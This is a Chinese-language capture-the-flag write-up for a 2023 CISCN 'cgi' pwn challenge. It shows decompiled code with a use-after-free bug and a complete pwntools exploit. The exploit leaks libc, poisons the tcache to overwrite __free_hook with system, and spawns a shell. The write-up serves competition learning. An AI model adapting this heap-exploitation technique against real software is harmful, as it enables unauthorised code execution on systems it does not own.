2023 ciscn 华东北分区赛 pwn cgi
模拟了一个http协议的交互
uaf漏洞
unsigned __int64 __fastcall sub_2510(
int a1,
__int64 a2,
int a3,
int a4,
int a5,
int a6,
__int64 a7,
char *s,
__int64 a9,
__int64 a10)
{
int v10; // ecx
int v11; // r8d
int v12; // r9d
unsigned int index; // [rsp+Ch] [rbp-1014h]
char nptr[8]; // [rsp+10h] [rbp-1010h] BYREF
__int64 v16; // [rsp+18h] [rbp-1008h]
__int64 v17[511]; // [rsp+20h] [rbp-1000h] BYREF
unsigned __int64 v18; // [rsp+1018h] [rbp-8h]
v18 = __readfsqword(0x28u);
*(_QWORD *)nptr = 0LL;
v16 = 0LL;
memset(v17, 0, 0xFF0uLL);
if ( !sub_1AEA("application/x-www-form-urlencoded", a2, (__int64)v17, 0LL, a5, a6, a7, (__int64)s, a9, a10) )
{
sub_1699(0x190u, "text/plain", "Bad Request");
}
else if ( (unsigned __int8)sub_1917((int)"id", (int)nptr, 4096, v10, v11, v12, a7, s) != 1 )
{
sub_1699(0x190u, "text/plain", "Bad Request");
}
else
{
index = atoi(nptr);
if ( index < 0x20 && heap_ptr[index] )
{
free(*((void **)heap_ptr[index] + 5));
free(heap_ptr[index]); // uaf
sub_1699(0xC8u, "text/plain", "OK");
}
else
{
sub_1699(0x194u, "text/plain", "Not Found");
}
}
return __readfsqword(0x28u) ^ v18;
}
输入格式样例:
b'PUT /profile?id=1\r\n'
b'Content-Type: application/x-www-form-urlencoded\r\n'
b'Content-Type: application/x-www-form-urlencoded\r\n'
b'\r\n'
b'name=aaaa&password=bbbb&password_length=16'
自动化交互样例:
def add(index, name, password, size):
p = b'PUT /profile'
p += (b'?id=%d' % index) + rn
p += b'Content-Type: application/x-www-form-urlencoded' + rn
p += b'Content-Type: application/x-www-form-urlencoded' + rn + rn
p += (b'name=%s' % name) + (b'&password=%s' % password) + (b'&password_length=%d' % size)
r.send(p)
exp
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './cgi'
li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')
context.terminal = ['tmux','splitw','-h']
debug = 0
if debug:
r = remote()
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
def dbgg():
raw_input()
rn = b'\r\n'
def add(index, name, password, size):
p = b'PUT /profile'
p += (b'?id=%d' % index) + rn
p += b'Content-Type: application/x-www-form-urlencoded' + rn
p += b'Content-Type: application/x-www-form-urlencoded' + rn + rn
p += (b'name=%s' % name) + (b'&password=%s' % password) + (b'&password_length=%d' % size)
r.send(p)
def show(index):
p = b'GET /profile'
p += (b'?id=%d' % index) + rn
p += b'Content-Type: application/x-www-form-urlencoded' + rn
p += b'Content-Type: application/x-www-form-urlencoded' + rn + rn
r.send(p)
def delete(index):
p = b'DELETE /profile'
p += (b'?id=%d' % index) + rn
p += b'Content-Type: application/x-www-form-urlencoded' + rn
p += b'Content-Type: application/x-www-form-urlencoded' + rn + rn
r.send(p)
a = '\r\n'
def edit(index, name, password):
p = 'POST /profile'
p += '?id=' + str(index) + a
p += 'Content-Type: application/x-www-form-urlencoded' + a
p += 'Content-Type: application/x-www-form-urlencoded' + a + a
p += 'name=' + name + '&password=' + password
r.send(p)
dbgg()
add(0, b'a', b'b', 0x440)
add(1, b'a', b'b', 0x60)
add(2, b'a', b'b', 0x60)
delete(0)
show(0)
malloc_hook = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 96 - 0x10
li('malloc_hook = ' + hex(malloc_hook))
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym['__free_hook']
li('free_hook = ' + hex(free_hook))
one = [0xe3afe, 0xe3b01, 0xe3b04]
#one_gadget = one[2] + libc_base
one_gadget = libc_base + libc.sym['system']
one_gadget = hex(one_gadget)[2:]
free_hook = hex(free_hook)[2:]
def magic(hook):
hex_list = [hook[i:i+2] for i in range(0, len(hook), 2)]
characters = [chr(int(h, 16)) for h in hex_list]
final = ''
for i in characters:
final += i
li(final)
return final
delete(1)
delete(2)
final = magic(free_hook)
edit(2, final[::-1], final[::-1])
add(3, b'/bin/sh', b'/bin/sh', 0x60)
add(4, b'a', b'b', 0x60)
final = magic(one_gadget)
edit(4, final[::-1], final[::-1])
delete(3)
r.interactive()